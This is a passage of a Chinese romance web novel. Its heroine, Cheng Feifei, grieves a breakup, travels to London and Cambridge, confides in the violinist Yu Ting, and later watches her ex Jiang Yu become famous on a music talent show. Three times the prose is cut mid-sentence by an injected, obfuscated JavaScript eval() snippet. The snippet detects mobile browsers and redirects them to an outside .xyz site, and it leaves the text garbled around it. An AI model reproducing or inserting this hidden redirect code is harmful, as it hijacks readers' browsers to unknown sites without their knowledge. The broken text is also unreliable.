程霏霏愈加清晰地感觉到,她和江羽之间的牵绊正在逐渐变得微弱,终有一天,会彻底消失。 原来真正的分手,是这样寂静,悄然无声的,令她陷入绝地。 * 夏日雨多,程霏霏坐在靠窗的书桌前,慢慢翻看着考前最后一门专业课的教材。 带着水汽的微风迎面吹来,轻拂着她松散的头发。 程霏霏不染发的时候,一头长发又黑又亮,披发时,偶尔会在发间编一条细细的小辫子。她长相清纯,梳这个发型显得尤为娇俏可人。 江羽很喜欢她这样打扮,虽然他没有明说过,但程霏霏就是知道。 她便有意无意的,经常这样打扮给他看。 此刻,程霏霏伸出手,拢了拢自己许久没有打理过的头发。 乱糟糟的,发质有点干,发尾甚至还打了结。在这潮湿的大夏天里,竟然摸不出一丝润泽。 心也是干枯的,如槁木一般。 程霏霏站起身,攀着教室灰褐色的窗台,将上半身探出窗外。 有雨水自廊檐滴下,淅淅沥沥,一会儿就淋湿了她的头发。肩膀和脖颈也浸透了,衣服湿哒哒地黏在身上。 可程霏霏仿若未觉,唇边溢出一丝空洞的笑,嘴里轻声哼起一段曲子—— Raindropskeepfallingonmyhead Butthatdoesn''tmeanmyeyeswillsoonbeturningred cryingisnotforme CauseI''mnevergonnastoptherainbplaining …… 歌词里唱着不会哭,眼圈却悄悄红了个透。 这时候,包里的手机响了起来。 程霏霏反应了一会儿,撸了一把脸上的水珠,湿着手去接听。 是许久没有联络过的纪玫。 “小程,考试结束了吗?采访的事情,是不是该考虑一下了?” 程霏霏无语地想,自己在学校里成绩一般,实习的时候也没有什么惊天动地的优异表现,实在搞不懂,纪玫为什么硬要把这个万里挑一的机会喂进她嘴里。 就因为自己是羽婷的粉丝? 她长长地叹出一口气,索性摊牌了:“玫姐,我最近状态特别不好,掉进人生低谷出不来了,你找别人吧。” 纪玫那边先是一愣,继而哈哈大笑起来:“你这小小年纪的,还没攀上过人生的高峰呢,就先低谷了?” 她那边有些嘈杂,应该是在外出采访。只听她语速飞快地给助理布置完工作,又回到电话旁,不容置疑地说:“这个活儿啊还真的就非你莫属!程霏霏,你跟了我一场,还没报答我当初录用你的恩情呢,别想耍赖。尽快收拾一下,准备好护照,随我出个差。” 对方这么直白地挟恩图报,程霏霏也没辙,只好妥协道:“行吧……去哪儿?” “伦敦啊。”纪玫兴奋的语气里夹带着一抹愉悦的调侃,“正好借这个机会出去走走,兴许走着走着,你就走出人生低谷了也说不定!” * 程霏霏是第一次来英国。 飞机降落在希斯罗机场的时候,天空正飘着绵绵小雨,大朵白云挂在低空,沉甸甸地铺满了视野,像吸饱了水汽的棉花。 空气清凉舒爽,没有一点夏日的炎热,和江城仿佛是两个季节。 除了她以外,纪玫还带了另外一名工作人员同行。 她们一行三人在伦敦市区的酒店办理了入住。 程霏霏只是个实习生,按级别,只能和那名工作人员拼房。 纪玫单独住一间,因为倒时差,她精神恹恹的,进了房间就没再出来。 程霏霏将行李箱摊开,取出里面的衣物,一件件挂进了酒店的衣橱。 箱子很快就变得空空如也,程霏霏蹲在地上茫然了片刻,忽然想到什么,拉开了箱子侧边的内兜。 那里还夹着一枚墨灰色的钥匙扣。 自从她发现李泽昱并不是她要找的人,这枚钥匙扣便一直沉睡在她的行李箱里,再也没有见过天日。如今,竟然机缘巧合地跟着她来到了伦敦。 钥匙扣还是老样子,程霏霏将它捧在掌心,指尖摩挲了一下环扣上镌刻的Yu字。 这个Yu,是江羽的羽。 心口好似被烫了一下,程霏霏浑身泛起过电一般的酥麻。一股难以言喻的悸动从心底升起,弥漫全身,让人既焦躁,又忍不住沉溺——这是思念的感觉。 她想,江羽有没有找过这个失踪的钥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655509|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匙扣呢? 这东西对他来说,是重要的随身物品,还是个可有可无的小玩意儿呢? 程霏霏突然有点后悔,应该问一问他的。 可是转念一想,问了又能怎么样? 哪怕对他来说,这只是一个弄丢了也无足挂齿的装饰品,对程霏霏而言,却是珍藏了好久的初恋信物,这么多年来,一直贴身陪伴着她,承载着她未曾出口的一往深情。 那些属于她一个人的回忆,如今,已经成了岁月里最不忍触碰的秘密。 程霏霏的眼眸柔软而湿润,捞过随身的挎包,将钥匙扣挂在了外侧。 同房的编导姐姐终于打完了电话,从阳台回来,四肢往床上一摊,凉飕飕地盯着天花板:“完蛋了,看来这次要白跑一趟。” “怎么了?”程霏霏问得漫不经心。 “刚刚联系了羽婷的助理,对方说她老板最近不在伦敦,至于去了哪儿,啥时候回来,一问三不知。” 编导姐姐头一歪,对程霏霏咧出一个无奈的笑:“这些艺术家,行踪向来捉摸不定,你根本不知道他们脑子里在想什么!” “那我们怎么办?要回国吗?” “来都来了,就硬着头皮等一等呗。”编导姐姐伸了个懒腰,颇为心宽地说:“就当公费旅游了嘛,趁着采访对象失踪,咱们正好逛一逛大伦敦!” * 可惜,编导姐姐还有工作在身,不得不和纪玫一起窝在酒店里疯狂加班。能逛一逛大伦敦的,只剩程霏霏一个人。 她按照网上查的游览攻略,参观了大英博物馆和圣保罗教堂,逛了海德公园,还品鉴了一番泰晤士河上的绝美落日。 转悠了一大圈回到酒店,程霏霏被告知,因为台里临时有节目报道,缺乏人手,纪玫和编导姐姐临危受命,已经动身前往利物浦支援了。 程霏霏:“……” 她竟然,一个人,被扔在了伦敦。 好在,临出发的时候,除了国际信用卡,罗美琼还给她的箱子里塞了厚厚一沓现金。 手中有粮,心中不慌。来都来了,就当观光旅游了吧。程霏霏决定好好享受这段独自在异国的旅程。 她当即去酒店前台,将标间升级成了大床景观房,正对着花团锦簇的街心广场。 每天早晨,酒店都有丰富的英式早餐送到房间供她享用。她吃饱之后,通常还要再睡一顿回笼觉,等到不得不起来的时候,才下床穿衣服,连个妆也懒得化,就这么素面朝天地出门溜达。 几天下来,把伦敦的著名景点撸了个遍。 这个城市景观优美,人也很是热情友善,可是程霏霏一点也不觉得开心。 纪玫真是会骗人,换个地方看风景,也拯救不了一蹶不振的灵魂。 …… 又一个阳光明媚的上午,程霏霏躺在床上,百无聊赖地划拉着手机上的英国地图。 纪玫刚刚给她发来微信,让她再多等几天。 程霏霏忍不住腹诽,难怪纪玫坚持要带自己来——这日复一日的等,每等一天就是一大笔开销,搁在一般实习生身上,早就撂挑子跑回国了。 蓦地,她的目光在一个小小的地名上停顿了片刻。 程霏霏神情微怔,一些零散的回忆从脑海深处缓缓浮现。下一秒,她猛地从床上坐了起来。 好似一道阳光穿过缝隙,钻进了她沉寂已久的心底,程霏霏精神抖擞地冲进浴室,开始洗漱。 半个小时后,人已经收拾齐整,兴冲冲地出了门。 她买了一张火车票。 目的地,剑桥小镇。 63. 63 剑桥距离伦敦市区很近,不到一个小时,程霏霏就已经出了车站。 今天天气极好,碧蓝的天空像饱和度拉满的颜料,将天地都染上浓艳。 程霏霏沿着一条蜿蜒的街巷缓缓走着,空气里弥漫着醇香的奶酪面包的味道,街道两旁满是各式各样的精致小店,引得她频频驻足。 前方,澄清的河流环城而过,古朴的石桥在林荫间若隐若现。 一排排典雅的欧式建筑错落有致地林立着,环起大片草坪,供学生和观光客们席地而坐,在明媚的午后,享受片刻闲情。 这里可真好,不愧是他的理想学校。 程霏霏怀着满腔歆羡,像进了大观园的刘姥姥,沿着校园小道一路走马观花。 她一边走,一边想,江羽当初如果没有离开养父母家,真的来到剑桥读书,就不会在江大遇到她,于他们两个而言,是不是都算是一条更好的路呢? 这么想着,程霏霏的情绪也低落下来,手指不由自主地拨了拨包带上的钥匙扣:“喂,你是不是也这样觉得?” 钥匙扣自然不会回答。 耳边却忽然飘来一阵清越的小提琴声,迅速攫住了程霏霏的心绪。她现在对小提琴,已经是异乎寻常的敏感。 琴声断断续续,夹杂着人音,好像是附近的学生在上课。 果不其然,绕过一道古朴的石砖墙,程霏霏透过洞开的窗扇,望向音乐教室里练琴的英国学生。 学生旁边坐着一位导师模样的人,东亚女性的脸孔。她将曲谱卷成了纸筒,在膝盖上轻轻敲打着节拍,一派松弛的神态。 程霏霏震惊地瞪圆了眼睛——那个人,是羽婷! 相比起四年前第一次见面,眼前的羽婷似乎多了一些年龄感。 时间像一把刻刀,在她的眼角雕出了细纹。她依旧很美,只是曾经随和的眼神里,又添了些冷淡的忧郁。头发随意挽在脑后,露出整洁干净的额头,整个人的气质淡然而高雅,还透着一种什么都看透的庄重。 程霏霏觉得,那是一种经历了很多、独属于成熟女人的味道。 她就这么盯着羽婷,愣怔地看了许久,久到对方觉察到她明晃晃的视线,隔着窗户,与她四目相对。 程霏霏没想到,羽婷竟然站起了身,还走出教室,来到了自己跟前。 “小姑娘,我们是不是见过?”她微笑着打招呼。 程霏霏呆呆的,完全没想到这位大师居然还记得自己,当即激动到语无伦次:“对!是的!羽老师,又见面了,真是没想到,您还记得我!” 羽婷含笑的眼神拂过她的脸,轻轻地落在了她挎包的钥匙扣上,一触即分。 “当然记得,这样漂亮的小姑娘,我怎么会忘呢。”她打量了一下四周,像是在找人,“你一个人来的?” “嗯!”程霏霏使劲点了点头,“羽婷老师,您在这里教书吗?” “只是受朋友所托,过来指导几个学生。” 羽婷收回目光,淡淡一笑:“能在异国相遇,我们也算有缘。小姑娘,我请你喝杯咖啡如何?” * 程霏霏做梦也想不到,有一天竟然会在咖啡馆的露天圆桌旁,迎着夏日的徐徐清风,和她喜欢的小提琴家相对而坐,共同欣赏斑驳树影间的一轮落日。 “羽婷老师,谢谢您请我喝咖啡。我还没自我介绍过呢,我叫程霏霏,来自江城市。” “那我叫你霏霏可好?你也换个称呼吧,别叫老师了,怪见外的。” 程霏霏露出人精一般的小表情,狗腿地说:“嗯嗯!那我称呼您——婷姐?” 羽婷噗嗤一声笑了出来:“使不得,还是叫阿姨吧。” 辈分可不能乱。 “霏霏怎么会在英国的?” 程霏霏这才想起此行的目的,连忙把她的老板纪玫抬了出来,阐明了节目组想要采访羽婷的诉求。 羽婷并不惊讶,呷了一口咖啡,将杯子轻轻放下。动作间,腕部的小花纹身清晰可见。 “我记得她,前帝都电视台的记者,我们因为工作曾经接触过。” 竟然是熟人吗?程霏霏想,那这件事应该就容易多了吧? 羽婷勾了勾唇,没有当即应下:“我很久都不接受采访了,那些问题车轱辘一样,让人懒得一遍遍回答。” “我们这次可以聊一些没聊过的话题,或者……先把采访提纲给您过目,您看如何?” 羽婷莞尔,撑着脑袋,眸子轻轻一瞥:“你来英国,就是为了采访我?” “……也不全是。”程霏霏垂下眸光。 她自觉,和羽婷之间有一种很神奇的缘分,说不清楚。 明明是陌生人,距离感却并不强。她觉得羽婷对待她,有一种别样的关怀,就像是一个亲切的长辈,令她莫名的很想亲近。 于是,便壮着胆子坦诚道:“是我自己这段时间的状态不太好,想借着出差的由头,出来散散心。” “哦?”羽婷一愣,指着她包上的钥匙扣问:“该不会是,和男朋友吵架了吧?” 钥匙扣的设计,一看就是男孩子的东西,挂在程霏霏的女式包上,有点不协调。羽婷这样猜测,倒也并不奇怪。 程霏霏将钥匙扣握在掌心,沉默了一会儿:“嗯,我们分手了。” 夏风和煦,拂在程霏霏的脸上,像一双温柔的手,令她感到熨帖似的包容,正如此刻羽婷的眼神。 她忽然感到浓浓的委屈,这些日子以来独自承受的难过和悲伤,一股脑地涌上喉间。程霏霏觉得,再不找个人说一说,自己就要被绝望吞没了。 遥远的异国,不起眼的小镇,一个现实生活中没有交集的年长者——程霏霏深深呼出一口气,将自己的心事娓娓道来。 她一边讲,羽婷在一旁安静地听。到后来,程霏霏都快忘记了身边这位听众,仿佛在自言自语,任风卷着那些支离破碎的情感,胡乱飘向虚空。 一个故事讲得颠三倒四,可羽婷好像全部听得懂,什么问题也没有问。 在程霏霏说到不得不分手的原因时,她感觉到身旁的羽婷好像带上了某种沉甸甸的情绪,就像万籁俱寂的海面,表面静谧无波,内里却涌动着惊涛巨浪。 羽婷依旧沉默着,只是那抚惯了琴弦的指尖无意识地抠弄着咖啡杯的外壁,用力到苍白。 可程霏霏毫无所觉,捧着纸巾,不顾形象地揩了一把鼻涕,像一个无助的小女孩。 “羽阿姨,我觉得自己好矛盾……之前一心想让他快点离开,拿着钱走,去过更好的生活……可是当他真走了,我又后悔,总是忘不掉以前在一起的时候,还假惺惺地希望他不要怨恨我。” “可是他怎么会不恨呢?”大颗泪珠滚下来,挂在程霏霏的下颌上,随着她的抽噎轻轻抖动,“他一定恨死我了,巴不得从来没有认识我……” 羽婷终是叹了一口气,拿起纸巾,无声地替程霏霏拭去眼泪。 她望了一眼头顶湛蓝的天空,眼圈隐有些泛红。 “爱从来都是矛盾的,会想要独占,又会为自己的独占欲而愧疚。”羽婷抚摸着自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14667001|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腕间的纹身,露出一抹哀戚的笑。 “一个看起来不错的机会摆在你面前,你凭着善意做了选择,只是方式有些直接,这不怪你,毕竟你还年轻。”羽婷捏了一把程霏霏哭花的小脸,“年轻人冲动了点,没有什么大不了。” 程霏霏抽抽搭搭地问:“您年轻的时候,也会冲动吗?” 羽婷先是愣住,然后,无奈地笑了一下:“当然,你别看我现在好像活得挺明白,那是因为年纪上来了而已。往前二十年,多的是借酒浇愁、执迷不悟的时候。” “可是,我还是痛苦……”程霏霏的眼睛里噙着一包泪,“我好想他。” 空气中浮动着咖啡的清香,远处,有人捧着一本诗集,正在念念有声。 过了好一会儿,羽婷才缓缓吁出一口气,抬起下巴,指了指前方一排古色古香的建筑。 “那边过去,就是三一学院,是整个剑桥最负盛名的学院之一,培养了很多厉害的学生,其中有一个叫米尔恩的,写过一个系列故事,叫作《小熊维ni》。” 程霏霏愣愣地听着。 “我儿子小时候,特别喜欢那个故事,有一整套绘本。每天睡觉之前,都要缠着我读给他听。其中有一句话,我到现在都记得——” 似是陷入回忆,羽婷的眸子染上了笑意。 "HowluckyIamtohavesomethingthatmakessayinggoodbyesohard." (多么幸运,我拥有让告别变得如此艰难的珍宝。) 羽婷的目光转过来,落在程霏霏湿漉漉的脸颊上,神情含着一种莫名的理解:“艰难本身,就已是难得了。” 程霏霏明白她的意思,抽噎着说:“您到现在还记得给儿子读过的绘本,真是一位很好的妈妈。” 羽婷惊讶地看了她一眼,讪笑着摇摇头,抬起自己的手腕,指着其上那朵小花纹身:“知道这是什么吗?” 程霏霏自然不知道。 “这是我儿子。”羽婷口气清浅,说着最石破天惊的话,“死掉的那一个。” 程霏霏瞪圆了眼睛:“对,对不起,我,我不知道您的儿子已经……” 羽婷摆摆手:“没有,那小子听上去应该还好。我说的是另外一个。” “我把这朵小花纹在手腕上,是为了纪念死去的孩子,也是为了提醒自己,不能忘记他。” 她顿了顿,眼神温柔,有些落寞地望向虚空。 “告诉你个秘密——有一天早晨,我在床上睁开眼睛的时候,忽然意识到,我好像快要把他忘了。” 程霏霏震惊地张着嘴,不知道该作何反应。 “我根本算不得一个好妈妈,有哪个妈妈会因为把爱全给了一个孩子,就渐渐地忘记了另一个呢?亏我一开始还有那样别扭的心思,殊不知很多事情,根本就没有什么清晰的界线。人的心,尤其如此。” 程霏霏呆呆的,听得似懂非懂。 羽婷转过脸,认真地看着她:“霏霏,这个世界上没有绝对的真理,也不存在绝对的谎言,更谈不上绝对的爱或者恨,它们都会随着时间的流逝而变化交织。你能把握住的,只有当下,此时此刻。而且,你牵挂的这个人,以我对他的……” 羽婷忽然止住了话头,浅浅一笑:“总之,离别也不必忧伤,毕竟,地球是个圆圈嘛——” 微风撩起她耳旁的碎发,那抹笑容被夕阳的光圈晃得明亮又温馨。 “哪怕一时走反了方向,也未必不是在相遇的路上。” 64. 64 程霏霏愣了一瞬,紧接着,更多的眼泪涌了出来。她无力地靠在羽婷的肩头,呜咽着说不出话。 临分别的时候,羽婷抱了抱她的肩膀:“好孩子,要开心。” 程霏霏哑着嗓子:“阿姨,我还是觉得,您是个很好的妈妈。您的儿子,我是说,呃,活着的那个,他一定也是这么想的。” 羽婷怔怔地看了她一会儿,眼角突然有些泛红。 “好,我会等他亲口来告诉我。” * 当晚,程霏霏乘着最后一班火车离开了剑桥小镇,回到酒店,开始收拾行李。 纪玫那边的工作还没有结束,程霏霏主动给她发了微信,说自己订了明天回国的机票,采访的事情,她爱莫能助。 并没有提及在剑桥偶遇羽婷的事。 程霏霏推着行李,站在希斯罗机场的安检口,回头望了一眼层层堆积的云朵。不知是否是错觉,来时阴云密布的天空,此刻好像有太阳升了起来,金黄的丝线从缝隙里钻出来,笔直地射向人间。 她自己的心,也如这天空一般,拨开了阴云,重见天光。 程霏霏一改之前死气沉沉的状态,回到学校以后,立即报名参加了好几个主持人竞赛,将自己撂下的专业拾了起来,每天一大早就出晨功,晚上快熄灯了才回到宿舍,全心沉浸在准备比赛的劲头里,再也无力思考其他。 一边比赛,一边着手准备起研究生的保送考试,暑假连家也不回,成天和黎玥一起泡在自习室里。 开学以后,更是把自己活成了上了发条的机器,好像要将过去所有荒废的时间通通补回来。 她甚至风雨无阻地跑去财会专业的课堂上旁听,美其名曰,为将来继承家产做准备。 任可心看到好友一改之前的颓废,重新拿出了高三时拼搏的劲头,终是放心了许多。 “我还担心霏霏要一蹶不振了,你看她之前的样子,有什么心事就自己闷着,和谁也不说,整天恍恍惚惚的。好在她终于想开了,我就说嘛,男人而已,这个没了,下一个更香!” 而黎玥沉默了一瞬,摇了摇头:“她是下定了决心,要认真地等下去。” 半年以后,出乎所有人的意料,程霏霏如愿以偿地拿到了江大研究生的名额。虽然只是录取名单上的最后一名,可程家全家人还是开心得忘乎所以,在江城最好的酒楼为她摆宴庆贺。 程广材与罗美琼端坐在饭桌两端,看上去与所有琴瑟和鸣的夫妻没有任何区别。 罗美琼笑盈盈地看着宝贝女儿,亲热地说:“霏霏,你考得这样好,想要什么嘉奖?妈妈最近看中了一辆车,买回来给你代步好不好?” 程广材也不甘示弱:“爸爸在杜溪给你买了一条小艇,里头的陈设可豪华了,你肯定喜欢。有空的时候,可以带着朋友们去湖上钓鱼,开派对也行!” 程皓南:“哥也给你——” 程霏霏一抬手:“都打住。” 她的目光在全家人脸上绕了一圈,极平静地说:“爸,妈,我什么礼物也不要,只想让你们答应我一件事。” 程广材和罗美琼皆笑眯眯地听着。 “我希望,你们俩能抽个时间,去把离婚手续办了。” 在座的几人皆是一惊。 “以前是我不懂事,还曾经以离家出走相威胁,现在想来,真的好幼稚。抱歉,打断了你们离婚的进程,这几年,委屈你们了。” 程霏霏淡然地笑笑——那个染着红头发、画着烟熏妆的小姑娘,好像忽然之间就长大了。 当年要死要活的事情,如今聊起来,已是如云淡风轻一般从容。 “我已经成年了,你们离婚也牵扯不到抚养权,我不必选跟着爸还是跟着妈,因为我谁都不会跟。等毕了业,我会搬出来,独自生活。” “你们俩的生意,这些年也交接得差不多了,财产分割应当不怎么费事。实在分割不了的,干脆就直接留给我和哥哥,反正我们早晚也要继承家产的。” “……”程广材和罗美琼已经听愣了,程皓南则无语地扶住了自己的脑门。 “我只是想要说明,你们的女儿不是个只会花钱的废物,以后,能找到工作养活自己,你们也是时候过自己的日子了。” 程霏霏慢声细语,到这里时,话锋却一转—— “我会过好自己的生活,以后,无论我选择和谁在一起,希望你们都能够尊重祝福。”她的目光仿若无意地在程皓南那处扫过,“我可以为自己的选择负责。” “霏霏……”罗美琼望着一夜之间长大的女儿,眼角有泪花在莹莹闪动。 程广材则沉沉地看着她,悠长地吐出一口气,心中对女儿的变化既欣慰、又愧疚。 程霏霏却笑了,端起面前的红酒,对着家人欣然举杯。 “爸,妈,哥哥,你们是我最亲近的家人,这一点永远不会改变。我希望你们以后的人生,都能按照自己想要的法子过。” 酒楼外,清浅的夜色悄悄漫过夕阳。 和风送爽,又一个夏天即将来临。 * 程霏霏给自己列了一个长长的清单,写了许多人生规划。 例如,要顺利读完研究生、学会挣钱和理财、在平静而充实的生活中,等江羽回来。 合约总有到期的日子,再长的单身协议,也束缚不了人的一生。 当初,江羽就是被她亲手勾搭到的;她有信心,未来,一定也可以再把人追回来。 至于如何追——虽然她也拿不准江羽到底喜欢她什么,但女孩子变得更优秀、更漂亮,总归是没错的。 只是没想到,现实的发展,远远超乎她的意料。 最令人震惊的一件事,就是江羽作为风盛的新人歌手,以大众始料未及的速度,迅速红了起来。 当初分手的时候,程霏霏只是想让他签约,得到那笔不菲的酬金,拿去还债。却并没有细想过,如果江羽真的做了艺人,会发展成什么样。 而现实告诉她,在这条赛道上,他比她想象得,还要成功。 * 江羽第一次在公众面前露脸,是参加一档闯关类型的音乐综艺。 那个综艺的名字叫作【最佳拍档】,邀请了娱乐圈里十几个艺人前来参加。他们当中有成熟的歌手,也有爱豆出身的偶像。 节目的形式是音乐对抗赛,但规则是,艺人不能单独应战,每位嘉宾都要在节目组准备的“素人团”中挑选一名搭档,进行组队。比赛将以声乐演绎的形式通关,每轮都有淘汰,最终留下的组合即胜出。 这明显就是一个推新人的综艺,因此,许多艺人的粉丝非常不买账,觉得这就是赤裸裸的“吸自家血”的行为。一时间,骂声滔天。 可广大路人观众还是喜闻乐见,觉得这个圈子里翻来覆去就是那些旧人,已经看麻了,难得能有新面孔冒出来,倒也不错。 节目播出的时候,无论是粉丝还是路人,关注度都极高。 江羽作为一个“素人”,直到第三期节目才得以亮相,但这并没有影响他吸睛的速度。 他甫一上台,站在“艺人团”的面前时,镜头就给了他一个大大的特写。 精致到极致的五官被这个特写放大出了炫目的效果,足以惊艳屏幕前的每一个人。 连“艺人团”里的艺人也在交头接耳:这样的长相,真的是素人? 心里却在想,长江后浪推前浪,前浪死在沙滩上就罢了,还要在综艺里给后浪铺路……嗐,真是钱难挣,屎难吃! 不过,长成这样,八成是个花瓶。 一些舞台经验丰富的歌手不想在比赛中被水货拖后腿,所以,并没有高看他一眼。对江羽感兴趣的,反而是一些相对年轻的歌手。 陈嘉与出身于一个正当红的男团,长着一张标准的爱豆脸,明朗帅气,拥有极高的人气。 可惜,不久之前,团队中的一位成员陷入了一场官司,连累得整个团体的工作邀约变少,曝光量急剧下降。 陈嘉与不得不在经纪人的安排下,脱离团队单独活动,【最佳拍档】便是一个浅浅的试水。 看到江羽的第一眼,陈嘉与抬起了眉梢——这小子,有点个性。 不仅是因为英俊的长相、独特的气质,更重要的,是一种与众不同的沉静。 和那些急着在艺人团面前推销自己的选手不同,江羽极其低调,自我介绍也非常简单,浑身都透着股云淡风轻的平静。面对数十双目光的打量,他既不见紧张,也无丝毫激动,和那些一上来就哭着诉说“毕生音乐梦”的年轻人截然不同。 陈嘉与觉得很有意思——明明是选手,气场却比嘉宾们还要神秘。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680023|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他是第一个举手提问的。 “你有什么才艺吗?”陈嘉与想了想,觉得这个问题有点大,便缩小了范围,“会键盘吗?” 江羽略一点头:“会一点。” “吉他呢?” “小时候玩过一阵子,能弹。” “学过乐理吗?能作曲?” 江羽:“学过,也写过。” 艺人嘉宾们纷纷摇头蹙眉——这回答的,还不如直接说啥也不会。 之前上来的人,各个都把自己包装得能通天,问到什么技能,那都是绝顶擅长。 毕竟,节目的赛制很残忍,素人团也不是人人都能被选中。海选里没有被艺人嘉宾挑走的,直接就面临淘汰。 听到江羽的回答,本来对他的长相存了几分兴趣的艺人,也纷纷歇了心思——看来,此人的确是个花瓶无疑,不能要。 唯有陈嘉与,仿佛硬是要撬开他沉默的躯壳,看看内里的功力到底有几分深。 他微微一笑,亮出一张【青睐牌】——“那我来考考你。” 每个艺人手里的【青睐牌】有限,用来邀请看中的素人展示才艺,用光了可就没了。后排的艺人们纷纷为陈嘉与的鲁莽感到无语。 而陈嘉与已经开始出题。 他站起身,来到舞台上,在键盘跟前停了下来。手指一拂,随便乱弹了一串音,随即便看向江羽:“我刚刚弹了什么?” 现场好多艺人都还没反应过来呢,江羽已经拿起话筒,将刚才那串乱调复述了一遍。 “不错。”陈嘉与赞赏地点点头,似笑非笑地说:“你就用这串音作为前奏,写一首歌吧。” 嘉宾们纷纷瞪大了眼睛——这道考题作为第一轮的面试题,也太难了点吧! 要知道,之前的选手们,可能只被要求唱一首歌,或者跳一段舞,这还是第一个上来就考作曲的,还是以这么随机的旋律作为前奏! 这谁能写出来?除非是天才。 而江羽略一思索,问他:“你要什么风格?” 现场的人都傻了——就这,能写出点啥来就不错了,还要挑风格? 陈嘉与眨了眨眼:“都可以……为什么这么问?” 江羽回答:“这串音只有几个小节,后续的创作有无限可能。风格不同,自然一切都不同。” 现场嘉宾:“……” 陈嘉与耸了耸肩:“我没有要求,你随意发挥。” 他摆出了一个“请”的手势,江羽径直走去了键盘跟前,将话筒插在了麦架上。 只是略一思考,他单手便将刚才那串乱音弹了出来,随即换成双手,连个磕绊也没有打,就弹出了一整段流畅至极的旋律。那段乱音,竟然就这样毫不突兀地融合进了整首曲子里。 旋律宛转悠扬,十分悦耳,在座有些艺人嘉宾甚至忍不住鼓起了星星点点的掌声。 然而,江羽的动线并没有结束。他又从旁边拿过一把吉他,拨弄了片刻,弹出了一些断断续续的音节。 吉他的曲调和刚才的钢琴曲有些莫名相似,但转音处很不同,节奏也有些奇怪,空拍很多,勉强算是能听。 现场有艺人疑惑:“他这是作了两首曲子吗?” 只见江羽放下吉他,拿起麦克风,冲着舞台旁的调音师说:“麻烦您将我刚才的两段旋律合起来。” 不一会儿,舞台上响起了编曲过后的音乐——先是由那串钢琴乱音开启了前奏,紧接着,混音之后的键盘和吉他的声音完美地融合在了一起。原本听着毫不相干的两支旋律,竟然如两条注定交织的脉络,浑然天成地拧成了一股,瞬间造就了极强的视听感。 不仅是旋律本身极其好听,音乐的氛围感登时被烘托了出来——这听起来甚至很像是一首在录音棚提前制作好的、成熟的商业曲目,而不是舞台上随手一拨的即兴创作。 整段音乐结束后,在现场众人不可思议的目光中,江羽重新拿起话筒,望向陈嘉与。 “这个小作业,应该能够回答你之前提的三个问题。” 哪三个问题?艺人们回忆了一下,才想起来—— “会键盘吗?” “会一点。” “吉他呢?” “能弹。” “学过乐理吗?能作曲?” “学过,也写过。” 65. 65 江羽简直称得上一夜爆红。 随着【最佳拍档】的热播,他自海选亮相开始,一下子便吸引住了公众的视线。 观众很难不关注到这位长相俊逸、气质卓然、又才华横溢的年轻人。 继海选上初露锋芒之后,他便被陈嘉与邀请组队,正式成为了搭档。因为“青睐牌”是陈嘉与给的,江羽只要点头,合作就自动成立,若是江羽拒绝,才轮得到其他艺人嘉宾去争取。 在其他艺人眼巴巴的羡慕中,江羽答应了陈嘉与的组队邀请,走过去站在了他身侧。 镜头扫过去,两位年轻人各有各的帅气潇洒,很是赏心悦目,连导播也冲着对讲机狂吼,吩咐多给他们这组镜头。 节目录制的间隙,陈嘉与的经纪人兴奋地上前来,帮自家艺人整理妆发。 “刚才真是好险!这个节目啊什么都好,就是没剧本,喜欢动真格的,我真是替你捏了一把汗!那小子没开口前,我也以为他是个花瓶来着。” 陈嘉与闻言,竟然冷笑了一声:“我就是故意的!” “啊?” “开场之前,本少爷见他气质不俗,像是有几分真本事的,便特意上前打招呼,想交个朋友,可你猜他说什么?” 经纪人摇头。 “他居然说,他不喜欢名字里带yu的人。” 陈嘉与一双眉毛拧得老高,想起那个场景,还是觉得额角隐隐在跳:“拜托,哥们儿,看看你自己的名字呢!” 他咬了咬后槽牙:“所以,我才故意出了那道难题,想要为难他一下。但是吧,不愧是小爷我看上的人,的确是有那么几分水准,勉强配得上做我的搭档吧!” * 江羽的确不负所望,在接下来的比赛中,展现出了惊人的天赋和实力。 他和陈嘉与这对相爱相杀的组合一路过关斩将,在笑料百出的同时,轻松杀入了决赛。 决赛是观众现场投票,所以开启了对外预售。 程霏霏定好了闹钟,与任可心黎玥凑在一起,仨人头对着头,做好了充分的抢票准备。可时间一到,三个人的手机页面全部无法显示,怎么也打不开了。 程霏霏还是不放弃,一遍遍刷新着手机。二十分钟后,页面终于能够再次打开——只不过,票已经全部售罄了。 任可心拧紧了眉,疑惑地问:“这是什么意思?” 黎玥望着在一旁垂头不语的程霏霏,轻声说:“是江羽彻底红了的意思。” * 江羽和陈嘉与的“二Yu组合”所向披靡,最终在【最佳拍档】的决赛上拔得头筹。 一时间,两个人的事业都迎来了高峰。 